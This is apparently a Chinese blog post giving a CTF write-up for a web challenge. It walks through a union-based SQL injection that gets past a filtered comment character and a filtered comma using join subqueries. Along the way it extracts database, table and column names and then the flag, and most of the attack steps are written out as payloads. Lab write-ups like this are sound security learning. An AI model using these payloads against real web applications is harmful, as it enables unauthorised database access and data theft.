“百度杯”CTF比赛 九月场-SQLi
“百度杯”CTF比赛 九月场
SQLi:
题目类型:web
题目描述:后台有获取flag的线索,打开靶机得到一个空白的页面:
解题方法:我们得到一个空白的页面,先查看一下网页源码:
得到一条有用的信息,我们访问一下 login.php?id=1 :
在这里进行了各种各样的注入,都没有发现注入点,找不到任何思路,用dirseach来扫一下看看
没有扫出什么有用的东西,用burp来进行抓包看一下:
试着访问index.php看看
这里得到一个url,一眼看上去和开始的那个url一样,但是仔细发现中间有点不一样
./b68a89d1c4a097a9d863 1 b3ac45e8979.php
./b68a89d1c4a097a9d863 l b3ac45e8979.php
一个是1,一个是l
我们访问一下./b68a89d1c4a097a9d863lb3ac45e8979.php:
这里发生了302重定向,而且在消息头page这里发现了l0gin.php?id=1,这里感觉这个可能才是真正的注入点
我们访问l0gin.php?id=1看一下:
果然这里才是SQL真正的注入的地方
我们输入?id=2看一下:
现在来进行SQL注入,第一步先判断一下SQL注入类型:
我们输入?id=2-1看一下它会不会返回id=1的界面,会的话则说明是数字型注入:
不会,说明不是数字型,说明应该是字符型,用单引号来闭合一下试试:
说明是字符型,而且可以用SQL联合注入的方式来进行注入,这里的%23是注释符号#的URL编码,因为在这里输入#和--+都无法进行注释可能被过滤了,就用#的URL编码来试一下,也可以用(--(空格)+一个字符)例如:-- a 这样也可以绕过
第二步判断它的字段数:
?id=1' order by 1%23
?id=1' order by 2%23
?id=1' order by 3%23
当字段为3的时候返回错误,说明只有两个字段
第三步判断它的显示位:
?id=1' union select 1,2%23
返回不正常的页面,我们看一下它返回的信息,发现它把逗号以及后面的内容都过滤了,所以我们要把逗号给它绕过去,在网上查了一下SQL注入逗号被过滤的方法,发现可以用 a join 来进行绕过:
union select 1,2
等价于:
union select * from (select 1)a join (select 2)b
paylaod:
?id=-1' union select * from (select 1)a join (select 2)b%23
这里我们知道它的两个显示位我们都可以利用:
第四步:爆出它的数据库名:
payload:
?id=-1' union select * from (select 1)a join (select database())b %23
第五步:爆出它数据库里面的表名:
paylaod:
?id=-1' union select * from (select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema='sqli')b %23
第六步:爆出它表中的字段名:
payload:
?id=-1' union select * from (select 1)a join (select group_concat(column_name) from information_schema.columns where table_name='users')b %23
爆出了表中所有的字段名,我们看到了敏感信息flag
最后一步,查出flag字段中对应的flag的值:
paylaod:
?id=-1' union select * from (select 1)a join (select group_concat(flag_9c861b688330) from users)b %23
得到了我们要的flag:
flag{d5d3c7bd-e44f-4c2b-af9a-1f2d29e47d9f}
总结:这一次学到了SQL注入时注释符号被过滤时绕过的方法和SQL语句中的逗号被过滤了如何进行绕过!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通